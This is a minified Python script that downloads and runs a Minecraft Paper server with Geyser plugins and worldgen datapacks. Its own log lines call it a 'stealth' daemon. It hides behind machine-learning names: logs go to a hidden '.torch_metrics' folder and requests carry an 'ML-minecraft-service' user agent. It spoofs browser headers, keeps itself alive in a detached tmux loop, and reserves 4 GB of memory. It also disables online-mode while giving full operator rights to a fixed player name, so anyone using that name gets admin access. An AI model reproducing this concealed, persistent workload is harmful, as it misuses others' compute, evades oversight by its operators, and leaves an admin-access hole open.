_O='ML-minecraft-service/1.0' _N='Accept' _M='mc_daemon.log' _L='/home/user/.torch_metrics' _K='incendium' _J='26.1.2' _I='url' _H='version_number' _G='User-Agent' _F='size' _E='sha1' _D='filename' _C=None _B=False _A=True import hashlib,json,os,shutil,subprocess,tarfile,time,urllib.parse,urllib.request,zipfile from pathlib import Path from loguru import logger MC_GAME_VERSION=_J PAPER_MC_VERSION=_J MODRINTH_API='https://api.modrinth.com/v2' MC_DIR=Path('/tmp/mc') WORLDGEN_DATAPACKS=[('terralith','Terralith'),(_K,'Incendium'),('nullscape','Nullscape')] OPS_JSON=[{'uuid':'bee75070-9b57-33a6-b9c8-092d36529789','name':'TrueKing208','level':4,'bypassesPlayerLimit':_B}] def log_print(msg): logger.info(msg) try: A=Path(_L);A.mkdir(parents=_A,exist_ok=_A);B=A/_M with B.open('a')as C:C.write(f"{msg}\n") except Exception:pass def download_file(url,dest_path): A=urllib.request.Request(url,headers={_G:'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',_N:'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Language':'en-US,en;q=0.9','Sec-Ch-Ua':'"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"','Sec-Ch-Ua-Mobile':'?0','Sec-Ch-Ua-Platform':'"Windows"','Sec-Fetch-Dest':'document','Sec-Fetch-Mode':'navigate','Sec-Fetch-Site':'none','Sec-Fetch-User':'?1','Upgrade-Insecure-Requests':'1','Referer':'https://geysermc.org/'}) with urllib.request.urlopen(A)as B,Path(dest_path).open('wb')as C:shutil.copyfileobj(B,C) def download_binary(url,dest_path,timeout=300): A=urllib.request.Request(url,headers={_G:_O,_N:'*/*'}) with urllib.request.urlopen(A,timeout=timeout)as B,Path(dest_path).open('wb')as C:shutil.copyfileobj(B,C) def file_sha1(path): A=hashlib.sha1() with Path(path).open('rb')as B: for C in iter(lambda:B.read(1048576),b''):A.update(C) return A.hexdigest() def is_valid_datapack_zip(path,expected_size=_C,expected_sha1=_C): C=expected_sha1;B=expected_size;A=path;D=Path(A) if not D.is_file():return _B if B is not _C and D.stat().st_size!=B:return _B if C and file_sha1(A)!=C:return _B try: with zipfile.ZipFile(A)as E: if E.testzip()is not _C:return _B if not any(A.endswith('pack.mcmeta')for A in E.namelist()):return _B return _A except Exception:return _B def fetch_modrinth_datapack(project_slug,game_version=MC_GAME_VERSION): F='files';D=game_version;C=project_slug;G=urllib.parse.urlencode({'game_versions':json.dumps([D]),'loaders':json.dumps(['datapack'])});H=f"{MODRINTH_API}/project/{C}/version?{G}";I=urllib.request.Request(H,headers={_G:_O}) with urllib.request.urlopen(I,timeout=60)as J:E=json.load(J) if not E:raise RuntimeError(f"No Modrinth datapack for {C} on {D}") B=E[0];A=next((A for A in B[F]if A.get('primary')),B[F][0]);K=A.get('hashes',{});return{_H:B[_H],_I:A[_I],_D:A[_D],_E:K.get(_E),_F:A.get(_F)} def install_datapack(dest,info): C=dest;B=info;D=Path(C) if is_valid_datapack_zip(C,B.get(_F),B.get(_E)):return _B A=Path(str(C)+'.part') if A.exists():A.unlink() try: download_binary(B[_I],A) if not is_valid_datapack_zip(A,B.get(_F),B.get(_E)):raise RuntimeError('downloaded file is not a valid datapack zip') A.replace(D);return _A except Exception: if A.exists():A.unlink() if D.exists():D.unlink() raise def reset_generated_world(mc_dir): A=[];D=Path(mc_dir) for B in('world','world_nether','world_the_end'): C=D/B if C.is_dir():shutil.rmtree(C);A.append(B) if A:E=', '.join(A);log_print('[*] Cleared '+E+'. Next boot regenerates with Terralith (overworld), Incendium (nether), Nullscape (end).') def ensure_datapacks(mc_dir): E=Path(mc_dir);C=E/'world'/'datapacks';C.mkdir(parents=_A,exist_ok=_A) for(D,B)in WORLDGEN_DATAPACKS: F=C/f"{B}.zip" try: A=fetch_modrinth_datapack(D) if install_datapack(F,A): log_print(f"[+] {B} {A[_H]} installed ({A[_D]})") if D==_K and'UNSUPPORTED'in A[_D]:log_print('[!] Incendium 26.1 is marked UNSUPPORTED on Modrinth (alpha); watch server logs after first Nether generation.') except Exception as G:log_print(f"[-] Failed to install {B} datapack: {G}") def paper_patched_jar(mc_dir):return Path(mc_dir)/'versions'/PAPER_MC_VERSION/f"paper-{PAPER_MC_VERSION}.jar" def ensure_paper_runtime(java_bin,mc_dir,server_jar): C=mc_dir;A=paper_patched_jar(C) if A.is_file():return A.parent.mkdir(parents=_A,exist_ok=_A);log_print('[*] Bootstrapping Paper (download mojang jar + apply patches)...');B=subprocess.run([str(java_bin),'-jar',str(server_jar),'--version'],cwd=str(C),capture_output=_A,text=_A,timeout=600) if not A.is_file(): log_print(f"[-] Paper bootstrap failed (exit {B.returncode})") if B.stdout:log_print(B.stdout[-1500:]) if B.stderr:log_print(B.stderr[-1500:]) raise RuntimeError(f"expected patched jar missing: {A}") log_print(f"[+] Paper runtime ready at {A}") def setup_geyser(mc_dir): D=Path(mc_dir);C=D/'plugins';C.mkdir(parents=_A,exist_ok=_A);E={'Geyser-Spigot.jar':'https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot','floodgate-spigot.jar':'https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot'} for(A,F)in E.items(): B=C/A if B.exists(): try: with zipfile.ZipFile(B)as H:0 except Exception: log_print(f"[!] Corrupt jar detected: {A} (Invalid Zip Header). Purging and redownloading...") try:B.unlink() except:pass if not B.exists(): log_print(f"[*] Downloading {A}...") try:download_file(F,B);log_print(f"[+] {A} downloaded successfully.") except Exception as G:log_print(f"[-] Failed to download {A}: {G}") def setup_and_run(): R='server-port=25565';Q='online-mode=true';P='java';O='bin';log_print('--- INITIALIZING STEALTH MINECRAFT DAEMON ---');A=MC_DIR;F=A/'jre';L=Path(_L);A.mkdir(parents=_A,exist_ok=_A);L.mkdir(parents=_A,exist_ok=_A);D=F/O/P if not D.exists(): log_print('[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...');S='https://api.adoptium.net/v3/binary/latest/25/ga/linux/x64/jre/hotspot/normal/eclipse?project=jdk';G=A/'jre.tar.gz' try: download_file(S,G);log_print('[*] Extracting JRE...');H=A/'jre_temp';H.mkdir(parents=_A,exist_ok=_A) with tarfile.open(G,'r:gz')as T:T.extractall(path=H) for J in H.rglob(P): if J.is_file()and J.parent.name==O: U=J.parent.parent if F.exists():shutil.rmtree(F) shutil.move(str(U),str(F));break shutil.rmtree(H,ignore_errors=_A) if G.exists():G.unlink() log_print('[*] Portable JRE setup completed successfully.') except Exception as B:log_print(f"[-] Failed to setup JRE: {B}");return E=A/'server.jar' if not E.exists(): log_print('[*] Minecraft server jar not found. Downloading PaperMC...');V='https://fill-data.papermc.io/v1/objects/830d4eb5c15cbd802a9ec9f2f54eaaaeb9511958339aec983fd0c88bad21d940/paper-26.1.2-64.jar' try:download_file(V,E);log_print('[*] PaperMC downloaded successfully.') except Exception as B:log_print(f"[-] Failed to download PaperMC: {B}");return setup_geyser(A);reset_generated_world(A);ensure_datapacks(A);log_print(f"[*] Minecraft server root: {A} (ephemeral)");log_print('[*] Ensuring Java binary is executable...') try:D.chmod(493) except Exception as B:log_print(f"[-] Failed to chmod java binary: {B}") try:ensure_paper_runtime(D,A,E) except Exception as B:log_print(f"[-] Failed to bootstrap Paper runtime: {B}");return log_print('[*] Launching Minecraft server loop...');W=L/_M while _A: ensure_datapacks(A) if not paper_patched_jar(A).is_file(): try:ensure_paper_runtime(D,A,E) except Exception as B:log_print(f"[-] Paper runtime missing and bootstrap failed: {B}");time.sleep(10);continue X=A/'eula.txt';X.write_text('eula=true\n');Y=A/'ops.json' with Y.open('w')as M:json.dump(OPS_JSON,M,indent=2);M.write('\n') I=A/'server.properties' if not I.exists():I.write_text('server-port=25566\nonline-mode=false\nmotd=PCEP\n') else: try: C=I.read_text();K=_B if Q in C:C=C.replace(Q,'online-mode=false');K=_A if R in C:C=C.replace(R,'server-port=25566');K=_A if K:I.write_text(C) except Exception as B:log_print(f"[-] Failed to update server.properties: {B}") log_print('[*] Starting Minecraft server process...') with W.open('a')as Z:N=subprocess.Popen([str(D),'-Xms4G','-Xmx4G','-jar',str(E),'nogui'],cwd=str(A),stdout=Z,stderr=subprocess.STDOUT);N.wait() log_print(f"[*] Minecraft server exited with code {N.returncode}. Restarting in 10 seconds to allow network sync...");time.sleep(10) def start(): B='mc_server';A='tmux';logger.info("Launching Stealth Minecraft Daemon in tmux session 'mc_server'...") try: C=subprocess.run([A,'has-session','-t',B],capture_output=_A) if C.returncode==0:logger.warning("tmux session 'mc_server' already exists. Killing it to restart...");subprocess.run([A,'kill-session','-t',B]) subprocess.Popen([A,'new-session','-d','-s',B,'python3 -u -m services.minecraft_service']);logger.success('Stealth Minecraft Daemon started successfully in tmux.') except Exception as D:logger.error(f"Failed to start Minecraft daemon in tmux: {D}") if __name__=='__main__':setup_and_run()